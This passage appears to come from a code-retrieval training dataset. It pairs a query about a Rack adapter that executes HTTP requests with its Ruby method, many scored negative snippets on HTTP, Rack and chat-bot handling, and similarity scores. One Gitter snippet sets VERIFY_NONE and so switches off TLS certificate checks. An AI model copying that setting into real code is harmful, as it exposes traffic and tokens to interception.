req.body = [{ 'Text' => text }].to_json\n response = https.request(req)\n return response_body(response)\n rescue StandardError => ex\n puts \"ERROR: #{ex.message}\"\n end\n end", "def process_text\n @receipt = current_user.receipts.find(params[:receipt_id])\n if @receipt.present?\n @receipt.process_text!\n render json: { receiptUrl: receipt_url(@receipt)}, status: 200\n else\n render json: {\n error: @receipt.errors.full_messages.first,\n }, status: 400\n end\n end", "def text(name, title, text)\n push(name, {\"title\" => title, \"msg\" => text})\n end", "def message_params\n params[:message].permit(:text)\n end", "def handle_message(message_hash)\n socket_id = message_hash[\"socket_id\"]\n message = message_hash[\"message\"]\n type = message[\"type\"]\n\n post(send(type, message_hash))\n end", "def request(msg)\n print(msg)\n gets.chomp\n end", "def process_message(msg)\n if admin && authenticated?\n Socky::Message.process(self, msg)\n else\n self.send_message \"You are not authorized to post messages\"\n end\n end", "def typer(session, message, options={})\n json_request \"message\", {:session => session,\n :message => message}, options\n end", "def speak(text)\n @conn.post 'speak.json', :message => {:body => text}\n end", "def handle_item(msg)\n return nil unless @options['outgoing_token'].include? msg[:token] # ensure messages are for us from slack\n return nil if msg[:user_name] == 'slackbot' # do not reply to self\n return nil unless msg[:text].is_a?(String) # skip empty messages\n\n ## loop things to look for and collect immediate responses\n ## rescue everything here so the bot keeps running even with a broken script\n responses = @regexes.map do |regex, proc|\n if mdata = msg[:text].strip.match(regex)\n begin\n Slackbotsy::Message.new(self, msg).instance_exec(mdata, &proc)\n rescue => err\n err\n end\n end\n end\n\n ## format any replies for http response\n if responses\n { text: responses.compact.join(\"\\n\") }.to_json\n end\n end", "def messages_send_post_with_http_info(body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: MessagesApi.messages_send_post ...'\n end\n # verify the required parameter 'body' is set\n if @api_client.config.client_side_validation && body.nil?\n fail ArgumentError, \"Missing the required parameter 'body' when calling MessagesApi.messages_send_post\"\n end\n # resource path\n local_var_path = '/messages/send'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(body)\n auth_names = ['apiKey']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'MessageSendResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MessagesApi#messages_send_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def received_text\n message = params['events'][0]['message']\n if message.nil?\n nil\n else\n message['text']\n end\n end", "def post(text, options={})\n expect! text => String\n expect! options => { :object => [nil, Quest] }\n \n Deferred.twitter(:update, self.class.message(text, options[:object]), oauth_hash)\n end", "def message(text)\n @text_queue.push text\n end", "def post(*args, &block); end", "def handle_post(body)\n make_response(200, validate_questions(body))\nend", "def respond_message message\n content_type :json\n {:text => message}.to_json\nend", "def create\n @post = Post.new(post_params)\n\n conn = Bunny.new(:automatically_recover => false)\n conn.start\n\n ch = conn.create_channel\n q = ch.queue(\"main\")\n\n ch.default_exchange.publish(@post.body, :routing_key => q.name)\n\n redirect_to posts_url, notice: 'Text was successfully added.'\n\n conn.close\n end", "def send_message(_target, text) # rubocop:disable Metrics/AbcSize\n url = \"https://api.gitter.im/v1/rooms/#{config.room_id}/chatMessages\"\n uri = URI.parse(url)\n\n Net::HTTP.start(\n uri.host,\n uri.port,\n use_ssl: true,\n verify_mode: OpenSSL::SSL::VERIFY_NONE,\n ) do |http|\n request = Net::HTTP::Post.new(uri.path)\n request.add_field('Content-Type', 'application/json')\n request.add_field('Accept', 'application/json')\n request.add_field('Authorization', \"Bearer #{config.token}\")\n request.body = { 'text' => text }.to_json\n response = http.request(request)\n\n @user_id = MultiJson.load(response.body)['fromUser']['id']\n end\n end", "def print_message_text()\n @renderer.puts(\"Msg: #{@message_to_post.text_for_display}\")\n end", "def message\n process_mess\n end", "def handle_flow_web_hook_event\n # return render plain: 'Source is not allowed to make requests', status: 403 unless requests.ip == '52.86.80.125'\n\n string_data = request.body.read\n\n # log web hook post to separate log file\n Flow::Webhook.logger.info string_data\n\n data = JSON.parse string_data\n response = Flow::Webhook.process data\n\n render plain: response\n rescue ArgumentError => e\n render plain: e.message, status: 400\n end", "def process(message)\n end" ]
[ "0.74691135", "0.7113999", "0.69869184", "0.67299336", "0.6676714", "0.66448104", "0.66046065", "0.6590959", "0.6490133", "0.6455664", "0.64418477", "0.64417773", "0.63449943", "0.6337639", "0.63321227", "0.6306471", "0.63018674", "0.63018674", "0.6275276", "0.6274512", "0.62409806", "0.62320805", "0.62265974", "0.6221482", "0.6129017", "0.611575", "0.6102736", "0.60854936", "0.6083116", "0.60339814", "0.60328645", "0.60313064", "0.6004416", "0.6000574", "0.5984343", "0.59811056", "0.59802026", "0.5953946", "0.5947479", "0.5947479", "0.594445", "0.5938585", "0.592941", "0.5923514", "0.59128183", "0.59071624", "0.5900959", "0.5891601", "0.58875066", "0.5884507", "0.5883238", "0.5878795", "0.5878264", "0.58682287", "0.58625835", "0.5842754", "0.5833727", "0.58057827", "0.580245", "0.57920223", "0.57847285", "0.57774186", "0.57490164", "0.57463944", "0.57451546", "0.57386684", "0.57336307", "0.57319623", "0.57285804", "0.5721278", "0.5712425", "0.56956416", "0.56865644", "0.56814647", "0.5679304", "0.56757563", "0.56692046", "0.5659354", "0.56542087", "0.5652296", "0.5641497", "0.5629783", "0.56297535", "0.5621825", "0.5619554", "0.56162184", "0.56122684", "0.56100625", "0.5595588", "0.5594083", "0.5591925", "0.55858916", "0.55857074", "0.55632865", "0.5554707", "0.5549653", "0.5548179", "0.55452", "0.55411637", "0.5539818", "0.5537269" ]
0.0
-1
Executes arbitrary HTTP requests. You have to mount required Rack application before you can use it.
def request(method) unless REQUEST_METHODS.include? method raise NotSupportedError, "Rack adapter does not support custom HTTP methods" end if @request.proxy raise NotSupportedError, "Rack adapter does not support proxying" end if @request.auth.http? if @request.auth.basic? basic_auth = @request.auth.basic.join(':') encoded = Base64.encode64(basic_auth).gsub('\n', '') @request.headers['Authorization'] = "Basic #{encoded}" else raise NotSupportedError, "Rack adapter does not support HTTP #{@request.auth.type} auth" end end if @request.auth.ssl? raise NotSupportedError, "Rack adapter does not support SSL client auth" end if @request.on_body raise NotSupportedError, "Rack adapter does not support response streaming" end env = {} @request.headers.each do |header, value| env["HTTP_#{header.gsub('-', '_').upcase}"] = value end response = @client.request(method.to_s.upcase, @request.url.to_s, { :fatal => true, :input => @request.body.to_s }.merge(env)) Response.new(response.status, response.headers, response.body) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def run_request(method, url, body, headers); end", "def run\n make_request(@path)\n end", "def call(env)\n @req = Rack::Request.new(env)\n @res = Rack::Response.new\n handle_request\n @res.finish\n end", "def call(*args)\n if request = rack_request(*args)\n rack_response base_call(request: request)\n else\n base_call(*args)\n end\n end", "def run_request(hash)\n connection.run_request(hash[:verb], hash[:path], hash[:body],\n hash[:header])\n end", "def call(env)\n @req = Rack::Request.new(env)\n @res = Rack::Response.new\n handle_request\n @res.finish\n end", "def run opts = {}\n server = opts.delete(:server)\n (server && Rack::Handler.const_defined?(server)) || (server = HTTP__DEFAULT_SERVER)\n\n port = opts.delete(:port)\n opts[:Port] ||= port || HTTP__DEFAULT_PORT\n\n host = opts.delete(:host) || opts.delete(:bind)\n opts[:Host] = host if host\n\n Rack::Handler.const_get(server).run app, opts\n end", "def rack_standard(env)\n @req = Rack::Request.new(env)\n # puts \"here in standard rack handler\"\n @res = Rack::Response.new\n @res.write(\"Hey from a standard rack app\")\n @res.finish\n end", "def run_request(method, url, body, headers)\n original_run_request(method, url, \"\", headers)\n end", "def rack_standard(env)\n [200, {\"Content-Type\" => \"text/plain\"}, [\"Hey from a standard rack app\"]]\n # Just another way to do the above, can get more request info, ...\n # @req = Rack::Request.new(env)\n # @res = Rack::Response.new\n # @res.write(\"Hey from a standard rack app\")\n # @res.finish\n end", "def dispatch_request(cli, request)\n # Is the client requesting keep-alive?\n if ((request['Connection']) and\n (request['Connection'].downcase == 'Keep-Alive'.downcase))\n cli.keepalive = true\n end\n\n # Search for the resource handler for the requested URL. This is pretty\n # inefficient right now, but we can spruce it up later.\n p = nil\n len = 0\n root = nil\n\n resources.each_pair { |k, val|\n if (request.resource =~ /^#{k}/ and k.length > len)\n p = val\n len = k.length\n root = k\n end\n }\n\n if (p)\n # Create an instance of the handler for this resource\n handler = p[0].new(self, *p[2])\n\n # If the handler class requires a relative resource...\n if (handler.relative_resource_required?)\n # Substituted the mount point root in the request to make things\n # relative to the mount point.\n request.relative_resource = request.resource.gsub(/^#{root}/, '')\n request.relative_resource = '/' + request.relative_resource if (request.relative_resource !~ /^\\//)\n end\n\n\n # If we found the resource handler for this resource, call its\n # procedure.\n if (p[1] == true)\n Rex::ThreadFactory.spawn(\"HTTPServerRequestHandler\", false) {\n handler.on_request(cli, request)\n }\n else\n handler.on_request(cli, request)\n end\n else\n elog(\"Failed to find handler for resource: #{request.resource}\", LogSource)\n\n send_e404(cli, request)\n end\n\n # If keep-alive isn't enabled for this client, close the connection\n if (cli.keepalive == false)\n close_client(cli)\n end\n end", "def run\n return if halted?\n\n http = request.em\n http.callback {\n Benchy.logger.info \"#{name}\\t| #{request.method.upcase} #{request.url} - HTTP #{http.response_header.status}\"\n run\n }\n http.errback {\n Benchy.logger.error \"#{name}\\t| Connection error!\"\n halt # TODO - Make this fail the ping and try again, not halt\n }\n end", "def process()\n begin\n @sock.sync=true\n req=WEBrick::HTTPRequest.new(WEBrick::Config::HTTP.dup)\n res=WEBrick::HTTPResponse.new(WEBrick::Config::HTTP.dup)\n WEBrick::Utils::set_non_blocking(@sock)\n WEBrick::Utils::set_close_on_exec(@sock)\n req.parse(@sock)\n $logger.debug \"PATH=#{req.path}\"\n $logger.debug \"QUERY=#{req.query_string}\"\n args=req.path.split('/')\n cmd=args.last()\n str=run(cmd, req.query_string)\n res.request_method=req.request_method\n res.request_uri=req.request_uri\n res.request_http_version=req.http_version\n res.keep_alive=false\n res.body=\"Accepted,#{req.path},#{str}\"\n res.status=200\n $logger.debug res.inspect()\n res.send_response(@sock)\n rescue Errno::ECONNRESET, Errno::ECONNABORTED, Errno::EPROTO=>ex\n rescue Exception => ex\n raise ex.inspect()\n end\n end", "def process()\n begin\n @sock.sync=true\n req=WEBrick::HTTPRequest.new(WEBrick::Config::HTTP.dup)\n res=WEBrick::HTTPResponse.new(WEBrick::Config::HTTP.dup)\n WEBrick::Utils::set_non_blocking(@sock)\n WEBrick::Utils::set_close_on_exec(@sock)\n req.parse(@sock)\n $logger.debug \"PATH=#{req.path}\"\n $logger.debug \"QUERY=#{req.query_string}\"\n args=req.path.split('/')\n cmd=args.last()\n str=run(cmd, req.query_string)\n res.request_method=req.request_method\n res.request_uri=req.request_uri\n res.request_http_version=req.http_version\n res.keep_alive=false\n res.body=\"Accepted,#{req.path},#{str}\"\n res.status=200\n $logger.debug res.inspect()\n res.send_response(@sock)\n rescue Errno::ECONNRESET, Errno::ECONNABORTED, Errno::EPROTO=>ex\n rescue Exception => ex\n raise ex.inspect()\n end\n end", "def send_request(req); end", "def run_app(app, env)\n setup_rack(app).call(env)\nend", "def exec_request\n @urls.map { |url| fetch(url) }\n end", "def get_response(uri, req)\n Net::HTTP.start(uri.hostname, uri.port){|http| http.request(req) }\nend", "def call(env)\n request = Rack::Request.new(env)\n raise_exception(400) unless valid_verb?(request.request_method)\n recognize(request).each do |route, params|\n catch(:pass){ return invoke(route, params) }\n end\n rescue BadRequest, NotFound, MethodNotAllowed\n $!.call\n end", "def request(*args, &block); end", "def rackup(app); return @@rack.call(app); end", "def run\n configure_middleware(rack_builder = Rack::Builder.new)\n rack_builder.run(rack_app)\n\n # Choose and start a Rack handler\n @context.running_server = available_server\n @context.running_server.run rack_builder.to_app, :Host => @context.host, :Port => @context.port do |server|\n [:INT, :TERM].each {|sig| trap(sig) { (server.respond_to? :stop!) ? server.stop! : server.stop } }\n puts \"A#{'n' if @environment =~ /\\A[aeiou]/} #{@environment} Tanuki appears! Press Ctrl-C to set it free.\",\n \"You used #{@context.running_server.name.gsub(/.*::/, '')} at #{@context.host}:#{@context.port}.\"\n end\n end", "def call(env)\n timeout = env.config[:timeout] || 30.0\n http = HTTP.timeout(\n write: timeout,\n connect: timeout,\n read: timeout\n )\n http = http.headers(env.headers)\n env.response = http.send(env.method, env.uri, body: env.body)\n @app.call(env)\n end", "def process_http_request\n route_http_request\n end", "def run(uri, req, retries = 6)\n req['content-type'] = 'application/json'\n\n def run_rescue(uri, req, retries, result = nil)\n if retries == 0\n log.error \"Failed to run request #{uri}\\n result: #{result.inspect}\"\n log.debug \"Request body for #{uri} was: #{req.body.to_s[0...1024]}\"\n if result.kind_of?(Exception)\n raise result\n end\n else\n log.debug \"Failed to run request #{uri} retrying (#{retries} left)\"\n next_retries = retries - 1\n backoff = (6 - next_retries) ** 2\n sleep backoff\n run(uri, req, next_retries)\n end\n end\n\n res = Net::HTTP.start(uri.hostname, uri.port) do |http|\n http.read_timeout=ENV[\"ELASTIC_READ_TIMEOUT\"].to_i\n begin\n http.request(req)\n rescue Exception => e\n run_rescue(uri, req, retries, e)\n end\n end\n\n case res\n when Net::HTTPSuccess, Net::HTTPRedirection\n log.debug \"Succeeded to run request #{uri}\\n Request body: #{req.body.to_s[0...1024]}\\n Response body: #{res.body.to_s[0...1024]}\"\n res.body\n when Net::HTTPTooManyRequests\n run_rescue(uri, req, retries, res)\n else\n log.error \"Failed to run request #{uri}\\n Response: #{res}\"\n log.debug \"Request body for #{uri} was: #{req.body}\\n Response body: #{res.inspect}\"\n res\n end\n end", "def call(env)\n @request = Rack::Request.new(env)\n verb = @request.request_method\n requested_path = @request.path_info\n handler = @routes.fetch(verb, {}).fetch(requested_path, nil)\n\n if handler\n # give handler access to all of the methods, on the instance of Nancy::Base\n result = instance_eval(&handler)\n # If a handler returns a string, assume that it is a successful response, and so we construct a successful Rack response\n # otherwise, we return the result of the block as-is\n # [status, header, body]\n if result.class == String\n [200, {}, [result]]\n else\n result\n end\n else\n [404, {}, [\"Oops! No route for #{verb} #{requested_path}\"]]\n end\n end", "def call(env)\n self.class.perform_request env\n end", "def run_request(method, path, body, headers)\n klass = Net::HTTP.const_get(method.to_s.capitalize)\n req.klass.new(path, headers)\n req.body = body if body\n request(req)\n end", "def perform(uri, request, http_options)\n http = Net::HTTP.new(uri.host, uri.port, :ENV)\n # set http options to the net http object\n http_options.each { |key, value| http.send(\"#{key}=\", value) }\n\n # print debug information to the standard out\n http.set_debug_output($stdout) if @debug\n # perform\n http.start { |connection| connection.request(request) }\n end", "def call(env)\n @request = Rack::Request.new(env)\n @params = @path_params.merge(@request.params.symbolize_keys)\n process_response(instance_exec(self, params, request, &@block))\n end", "def call(env)\n\trequest = Rack::Request.new(env)\n\tresponse = Rack::Response.new\n\tprocess(request, response)\n\t[response.status, response.headers, response.body]\n end", "def run_server\n EM.synchrony do\n @app = Rack::Builder.new do\n use Rack::Lint\n use Rack::ShowExceptions\n run Rack::Cascade.new([Souffle::Http])\n end.to_app\n\n Rack::Handler.get(:thin).run(@app, rack_options)\n end\n end", "def http *xs\n env.http *xs\n end", "def send_request; end", "def send_request path, opts\n request_context = build_request path, opts\n raw_response = execute request_context\n adapt_response request_context, raw_response\n end", "def call(my_env_var)\n \t# This object represents the responses\n my_response_var = Rack::Response.new\n \n # This object represents the requests\n my_request_var = Rack::Request.new(my_env_var)\n \n # navigate to: \n # http://localhost:9292/index (or http://localhost:9292/indexyz1234) <=# this will actually work\n # ...in the VM machine's web browser\n if my_request_var.path.match(/index/)\n my_response_var.write \"The \\\"#{self.class.name}\\\" class is working just fine \\n\"\n my_response_var.write \"This little web app features a list of 3 simple items\\n\"\n my_response_var.write \"In order to see them, enter the following path in the URL:\\n\"\n my_response_var.write \"http://localhost:9292/items\"\n\n # navigate to: \n # http://localhost:9292/items (or http://localhost:9292/itemstuvwxyz) <=# this will actually work\n # ...in the VM machine's web browser\n elsif my_request_var.path.match(/items/)\n @@items.each do |item|\n my_response_var.write \"#{item}\\n\"\n end\n else \n # navigate to: \n # http://localhost:9292/something/else\n # ...in the VM machine's web browser\n my_response_var.write \"Path Not Found\"\n end \n my_response_var.finish\n end", "def http_call(payload)\n response =\n log_http_call(payload) do\n http = payload[:http] || create_http_connection(payload[:uri])\n http.start do |session|\n if payload[:method] == :get\n session.get(payload[:uri].request_uri, payload[:header])\n else\n session.send(payload[:method], payload[:uri].request_uri, payload[:body], payload[:header])\n end\n end\n end\n handle_response(response)\n end", "def run opts = {}\n boot!\n\n handler = opts.delete(:server)\n (handler && Rack::Handler.const_defined?(handler)) || (handler = HTTP__DEFAULT_SERVER)\n\n port = opts.delete(:port)\n opts[:Port] ||= port || HTTP__DEFAULT_PORT\n\n host = opts.delete(:host) || opts.delete(:bind)\n opts[:Host] = host if host\n\n $stderr.puts \"\\n--- Starting Espresso for %s on %s port backed by %s server ---\\n\\n\" % [\n environment, opts[:Port], handler\n ]\n Rack::Handler.const_get(handler).run app, opts do |server|\n %w[INT TERM].each do |sig|\n Signal.trap(sig) do\n $stderr.puts \"\\n--- Stopping Espresso... ---\\n\\n\"\n server.respond_to?(:stop!) ? server.stop! : server.stop\n end\n end\n server.threaded = opts[:threaded] if server.respond_to? :threaded=\n yield server if block_given?\n end\n end", "def run\n\t\treq = Net::HTTP::Put.new(uri.path)\n\t\treq.body = query_string\n\t\tres = Net::HTTP.start(url.host, url.port) { |http|\n\t\t http.request(req)\n\t\t}\n\t\tres.body\n\tend", "def _call(env)\n @env = env\n @req = Rack::Request.new(env)\n @res = Rack::Response.new\n @matched = false\n instance_eval(&@blk)\n @res.status = 404 unless @matched || [email protected]?\n @res.finish\n end", "def run!\n\t\t\tcatch :halt do\n\t\t\t\tvalidate_request\n\n\t\t\t\ttry_options ||\n\t\t\t\t\ttry_static ||\n\t\t\t\t\ttry_static(dir: GEM_STATIC_FILES) ||\n\t\t\t\t\ttry_route ||\n\t\t\t\t\thalt(404)\n\t\t\tend\n\t\t\tresponse.write body unless request.head?\n\t\t\tresponse.finish\n\t\tend", "def http_send_action\n http = http_inst\n req = http_post\n Response.new http.request req\n end", "def run(uri, req, retries = 6)\n def run_rescue(uri, req, retries, result = nil)\n if retries == 0\n if result.is_a? Exception\n @logger.warn(\"TIKA\") { \"Failed to run request #{uri}. Max number of retries reached.\" }\n raise result\n else\n @logger.info(\"TIKA\") { \"Failed to run request #{uri}. Max number of retries reached.\" }\n result\n end\n else\n @logger.info(\"TIKA\") { \"Failed to run request #{uri}. Request will be retried (#{retries} left).\" }\n next_retries = retries - 1\n backoff = (6 - next_retries)**2\n sleep backoff\n run(uri, req, next_retries)\n end\n end\n\n res = Net::HTTP.start(uri.hostname, uri.port) do |http|\n begin\n http.request(req)\n rescue Exception => e\n run_rescue(uri, req, retries, e)\n end\n end\n\n case res\n when Net::HTTPSuccess, Net::HTTPRedirection # response code 2xx or 3xx\n # Ruby doesn't use the encoding specified in HTTP headers (https://bugs.ruby-lang.org/issues/2567#note-3)\n content_type = res[\"CONTENT-TYPE\"]\n if res.body && content_type && content_type.downcase.include?(\"charset=utf-8\")\n res.body.force_encoding(\"utf-8\")\n end\n res\n when Net::HTTPTooManyRequests\n run_rescue(uri, req, retries, res)\n else\n @logger.info(\"TIKA\") { \"Failed to run request #{uri}\" }\n @logger.debug(\"TIKA\") { \"Response: #{res.code} #{res.msg}\\n#{res.body}\" }\n res\n end\n end", "def perform(request, response); end", "def serve! request, response, client, vhost\n kernel_prepare\n serve request, response, client, vhost\n end", "def send_request(http_client, usecase, meth, uri, req, params, headers, container, counter)\n container.response = http_client.send(meth, uri, params, headers) # booya!\n end", "def call(env)\n # Rack::Request provides convenient methods\n # for the incoming request\n request = Rack::Request.new(env)\n\n # return a 200 status for all matching routes\n @routes.each do |route|\n content = route.match(request)\n # [][-1] is an enumerable of stringable objects\n # => sometimes you want to return responses lazily (through an enumerable)\n # .to_s because you don't want this to blow up when\n # a route handler returns an array or other format\n return [200, { 'Content-Type' => 'text/plain' }, [content.to_s]] if content\n end\n\n # otherwise, return 404\n [404, {}, ['Not Found']]\n end", "def do_dispatch(env)\n path = env['PATH_INFO']\n\n # Try to serve a public file\n ret = dispatch_public(env, path)\n return ret if not ret.nil?\n\n log.debug \"Checking for routes that match: #{path}\"\n route = router.match(env)\n\n if route.has_key? :ok\n dispatch_controller(route, env)\n else\n [404, {\"Content-Type\" => \"text/plain\"}, [\"404 Not Found: #{path}\"]]\n end\n end", "def call(env)\n request = Request.new(env) \n snip, part, format = request_uri_parts(request)\n if snip\n params = request.params.merge(:snip => snip, :part => part, \n :format => format, :method => request.request_method.downcase)\n [200, {\"Content-Type\" => \"text/html\"}, [Vanilla.present(params)]]\n else\n four_oh_four = Vanilla.present(:snip => 'system', :part => 'four_oh_four', :format => 'html')\n [404, {\"Content-Type\" => \"text/html\"}, [four_oh_four]]\n end\n end", "def make_http_request\n Net::HTTP.get_response('localhost', '/ping', 3000).body\nend", "def make_request(req)\n if @http && @http.address == req.uri.host && [email protected]?\n @http.start\n else\n @http = Net::HTTP.new(req.uri.host, req.uri.port)\n @http.use_ssl = req.ssl?\n @http.verify_mode = OpenSSL::SSL::VERIFY_NONE if req.ssl?\n @http.set_debug_output($stderr) if req.debug\n @http.start\n end\n @http.request(req.http_request)\n end", "def run(req, res)\n end", "def call(rack_env)\n if rack_env['PATH_INFO'] == \"#{@config.web_interface.baseurl}/nyaa_cat_feed_minecraft_tag.xml\"\n rack_env['SCRIPT_NAME'] = @config.web_interface.baseurl\n rack_env['PATH_INFO'] = rack_env['PATH_INFO'][@config.web_interface.baseurl.length..-1]\n return @static_server.call(rack_env)\n end\n [404, { 'Content-Type' => 'text/plain; charset=UTF-8', 'Cache-Control' => 'no-cache' }, [\"Not found.\\n\\u{1f31a}\\n\"]]\n end", "def start(env=ENV, stdin=$stdin, stdout=$stdout)\n sock = WEBrick::CGI::Socket.new(@config, env, stdin, stdout)\n req = HTTPRequest.new(@config)\n res = HTTPResponse.new(@config)\n unless @config[:NPH] or defined?(MOD_RUBY)\n def res.setup_header\n unless @header[\"status\"]\n phrase = HTTPStatus::reason_phrase(@status)\n @header[\"status\"] = \"#{@status} #{phrase}\"\n end\n super\n end\n def res.status_line\n \"\"\n end\n end\n\n begin\n req.parse(sock)\n req.script_name = (env[\"SCRIPT_NAME\"] || File.expand_path($0)).dup\n req.path_info = (env[\"PATH_INFO\"] || \"\").dup\n req.query_string = env[\"QUERY_STRING\"]\n req.user = env[\"REMOTE_USER\"]\n res.request_method = req.request_method\n res.request_uri = req.request_uri\n res.request_http_version = req.http_version\n res.keep_alive = req.keep_alive?\n self.service(req, res)\n rescue HTTPStatus::Error => ex\n res.set_error(ex)\n rescue HTTPStatus::Status => ex\n res.status = ex.code\n rescue Exception => ex\n @logger.error(ex)\n res.set_error(ex, true)\n ensure\n req.fixup\n if defined?(MOD_RUBY)\n res.setup_header\n Apache.request.status_line = \"#{res.status} #{res.reason_phrase}\"\n Apache.request.status = res.status\n table = Apache.request.headers_out\n res.header.each{|key, val|\n case key\n when /^content-encoding$/i\n Apache::request.content_encoding = val\n when /^content-type$/i\n Apache::request.content_type = val\n else\n table[key] = val.to_s\n end\n }\n res.cookies.each{|cookie|\n table.add(\"Set-Cookie\", cookie.to_s)\n }\n Apache.request.send_http_header\n res.send_body(sock)\n else\n res.send_response(sock)\n end\n end\n end", "def request(req)\n self.class.paths << req.path\n self.class.params << req.body\n response = self.class.responses.shift\n if response.respond_to? :call then\n response.call req\n else\n res = Net::HTTPResponse.new '1.0', 200, 'OK'\n res.body = response\n res\n end\n end", "def run_request(method, url, body, headers)\n if !METHODS.include?(method)\n raise ArgumentError, \"unknown http method: #{method}\"\n end\n\n # Resets temp_proxy\n @temp_proxy = proxy_for_request(url)\n\n request = build_request(method) do |req|\n req.options = req.options.merge(:proxy => @temp_proxy)\n req.url(url) if url\n req.headers.update(headers) if headers\n req.body = body if body\n yield(req) if block_given?\n end\n\n builder.build_response(self, request)\n end", "def call(env)\n status, headers, response = @app.call(env)\n\n # filter by route so that we don't have any unexpected behaviour\n if env[\"PATH_INFO\"] != \"/\"\n # don't modify response\n return [status, headers, [response.body.to_s]]\n end\n\n # modify response\n new_response = self.class.addScript(response.body.to_s)\n\n # also must reset the Content-Length header if changing body\n headers['Content-Length'] = new_response.length.to_s\n [status, headers, [new_response]]\n end", "def run opts = {}\n server = opts.delete(:server)\n server && ::Rack::Handler.const_defined?(server) || server = :WEBrick\n ::Rack::Handler.const_get(server).run builder, opts\n end", "def do_request(request, response)\n if request.request_method != 'GET'\n response.status = 405\n LOG.error \"Unsupported request method #{request.request_method}\"\n return\n end\n\n do_get(request, response)\n end", "def call(env)\n request = Rack::Request.new(env)\n\n # Return early if request is not a GET\n return @app.call(env) unless request.get?\n\n # Return early if request is within backend or Active Storage path directory\n backend_path = \"/#{Integral.backend_namespace}/\"\n return @app.call(env) if request.path_info.starts_with?(backend_path) || request.path_info.starts_with?(ActiveStorage.routes_prefix)\n\n # Rewrites path if the request linked to an Integral::Page or Integral::Category\n process_path(env, request)\n\n @app.call(env)\n end", "def execute\n uri = request_uri\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Get.new(uri.request_uri)\n retries = Europeana.max_retries\n \n begin\n response = http.request(request)\n rescue Timeout::Error, Errno::ECONNREFUSED, EOFError\n retries -= 1\n raise unless retries > 0\n sleep Europeana.retry_delay\n retry\n end\n \n json = JSON.parse(response.body)\n raise Errors::RequestError, json['error'] unless json['success']\n json\n rescue JSON::ParserError\n raise Errors::ResponseError\n end", "def run\n\n action Colors.grey(\"REQUEST \") + Colors.light_blue(\"#{options[:method].upcase} #{url}\")\n Console.instance.indent\n # run the request\n options[:ssl_verifypeer] = false\n options[:followlocation] = true\n\n Injector.decorate(options)\n\n # convert all headers keys to strings to avoid having symbols like :\"header\" when\n # declaring headers with colons instead of arrows\n if options.key?(:headers)\n new_opts = {}\n options[:headers].map do |k, v|\n new_opts[k.to_s] = v\n end\n options[:headers] = new_opts\n end\n\n if options.key?(:headers) and options[:headers].key?('Content-Type')\n ctype = options[:headers]['Content-Type']\n if ctype.include?('application/json')\n # automatically encode json content\n options[:body] = JSON.generate(options[:body], quirks_mode: true)\n end\n end\n\n\n\n self.response = Typhoeus::Request.new(url, options).run\n\n self.req_response = RequestResponse.new.tap { |r|\n r.raw_body = response.body\n r.headers = response.headers\n r.code = response.code\n r.total_time = response.total_time\n\n if !r.headers.nil? && r.headers.key?('Content-Type') && r.headers['Content-Type'].include?('application/json')\n r.body = JSON.parse(response.body)\n else\n r.body = response.body\n end\n }\n\n # reset assertion counter\n self.assert_no = 1\n\n # evaluate response against expectations\n begin\n instance_eval(&expectations)\n rescue AssertionException\n error error_msg + \" at #{expectations.source_location}\"\n raise RequestException\n rescue StandardError => e\n error 'Exception ' + e.message\n info e.backtrace.inspect\n _debug_info\n error error_msg\n raise RequestException\n ensure\n Console.instance.unindent\n end\n\n req_response\n\n end", "def call(env)\n @app ||= build_rack_app\n @app.call(env)\n end", "def handle_request(client, lines, requests); end", "def execute_http_request(http_method, path, payload = nil)\n response = RestClient::Request.execute(method: http_method, url: path, payload: payload, headers: DEFAULT_HEADERS)\n # handle response using helper\n handle_response(response)\n end", "def serve request, response, client, vhost\n @action.call(request, response, client, vhost) unless @action.nil?\n end", "def requestor(req, json = nil)\n res = Net::HTTP.start(@host, @port, {:use_ssl => true}) { |http|\n create_the_request(req, json, http)\n }\n unless res.kind_of?(Net::HTTPSuccess)\n # let rails and sinatra handle this or print out if using ruby i say if, elsif, else\n handle_error(req, res)\n end\n res\n end", "def url_test\n response = HTTParty.get('http://www.baidu.com')\n res = Rack::Response.new\n res.write response.body\n res.finish\n end", "def call(env)\n @request = Dolphy::Request.new(env)\n @response = Dolphy::Response.new\n\n router.find_route_for(request).each do |matcher, block|\n if match = router.find_match_data_for(request, with: matcher)\n response.body = [block.call(*match.captures)]\n end\n end\n\n response.status = 404 if response.body.empty?\n response.body << \"Page not found.\" if response.body.empty?\n response.finish\n end", "def request(*args); end", "def request_and_handle http_method, path, options\n if http_method.is_a?(String) || http_method.is_a?(Symbol)\n http_method = HTTP_METHODS[http_method.to_s]\n raise \"Unknown http method: #{http_method}\" unless http_method\n end\n \n req_options = default_options.dup\n req_options = req_options.merge(options)\n \n raise ConfigurationError.new \"No endpoint defined\" if !path || path.empty?\n raise ConfigurationError.new \"No hostname defined\" if !req_options[:base_uri] || req_options[:base_uri].empty?\n \n # prepare request\n req = HTTParty::Request.new http_method, path, req_options\n req.options[:timeout] = CityGrid.custom_timeout if req.options && CityGrid.custom_timeout_set?\n\n # Sanitized request for logs\n safe_req_options = strip_unsafe_params(http_method, req_options)\n req_to_output = HTTParty::Request.new http_method, path, safe_req_options\n req_for_airbrake = { :method => http_method, :path => path, :options => safe_req_options }\n\n begin\n response = req.perform\n rescue => ex \n if defined?(Rails.logger)\n Rails.logger.error safe_req_options\n Rails.logger.error req_to_output\n Rails.logger.error req_for_airbrake\n Rails.logger.error ex\n end\n raise CityGridExceptions::RequestError.new req_for_airbrake, nil, ex.message, req_to_output.to_curl\n ensure\n if CityGrid.print_curls? \n if defined?(Rails.logger)\n Rails.logger.info req_to_output.to_curl\n puts req_to_output.to_curl\n else\n puts 